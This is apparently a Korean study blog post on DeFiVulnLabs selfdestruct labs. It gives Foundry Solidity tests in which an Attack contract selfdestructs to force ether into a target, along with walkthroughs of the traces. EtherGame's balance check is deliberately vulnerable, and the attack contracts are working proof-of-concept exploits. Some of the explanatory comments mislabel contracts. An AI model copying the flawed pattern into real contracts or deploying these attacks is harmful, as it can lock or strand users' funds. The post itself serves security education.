[BlockChain] DeFiVulnLabs - Selfdestruct
- -
Selfdestruct1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint constant public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract ContractTest is Test {
EtherGame EtherGameContract;
Attack AttackerContract;
address alice;
address eve;
function setUp() public {
EtherGameContract = new EtherGame();
alice = vm.addr(1);
eve = vm.addr(2);
vm.deal(address(alice), 1 ether);
vm.deal(address(eve), 1 ether);
}
function testFailSelfdestruct() public {
console.log("Alice balance", alice.balance);
console.log("Eve balance", eve.balance);
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}();
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
console.log("Attack...");
AttackerContract = new Attack(EtherGameContract);
AttackerContract.dos{value: 5 ether}();
console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
console.log("Exploit completed, Game is over");
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function dos() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
코드 test 결과이다.
EtherGameContract Balance가 2 ether에서 7 ether로 증가하였다.
Trace를 분석해 보자.
Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Eve address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
EtherGame Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Attack의 dos함수를 5 ether를 주고 실행시켰음
EtherGame.dos{value : 5 ether}인 상태에서 selfdestruct() 함수를 만나면 Attack Contract 파괴, 5 ether는 EtherGame에게 송금
EtherGame.balance = 7 ether
Vulnerability
function dos() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
exploit
EtherGameContract.deposit{value: 1 ether}();
Selfdestruct2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
/*
Try to send ether to Force contract
Force implements neither receive nor fallaback functions. Calls with any value will revert.
*/
contract ContractTest is Test {
Force ForceContract;
Attack AttackerContract;
function testselfdestruct2() public {
ForceContract = new Force();
console.log("Balance of ForceContract:", address(this).balance);
AttackerContract = new Attack();
console.log("Balance of ForceContract:", address(ForceContract).balance);
console.log("Balance of AttackerContract:", address(AttackerContract).balance);
AttackerContract.attack{value: 1 ether}(address(ForceContract));
console.log("Exploit completed");
console.log("Balance of EtherGameContract:", address(ForceContract).balance);
}
receive() payable external{}
}
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract Attack {
function attack(address force) public payable {
selfdestruct(payable(force));
}
}
코드 test 결과이다.
EtherGameContract의 Balance가 1 ether 증가하였다.
Trace를 분석해 보자.
Force Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Attacker Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Attacker의 attack함수를 1 ether 주고 실행 인자는 address(forceContract)
selfdestruct(address(forceContract)) 함수가 실행되어 Attack Contract는 파괴되고, 1 ether는 Force Contract에 송금된다.
Vulnerability
contract Attack {
function attack(address force) public payable {
selfdestruct(payable(force));
}
}
exploit
AttackerContract.attack{value: 1 ether}(address(ForceContract));
'Web3 > BlockChain' 카테고리의 다른 글
[BlockChain] DeFiVulnLabs - Reentrancy (0) | 2023.02.06 |
---|---|
[BlockChain] DeFiVulnLabs - Delegatecall (0) | 2023.02.06 |
[BlockChain] DeFiVulnLabs - Integer overflow (0) | 2023.02.05 |
[BlockChain] DeFiHackLabs - 3. Write Your Own PoC (0) | 2023.02.05 |
[BlockChain] DeFiHackLabs - 2. Warmup (0) | 2023.02.05 |
소중한 공감 감사합니다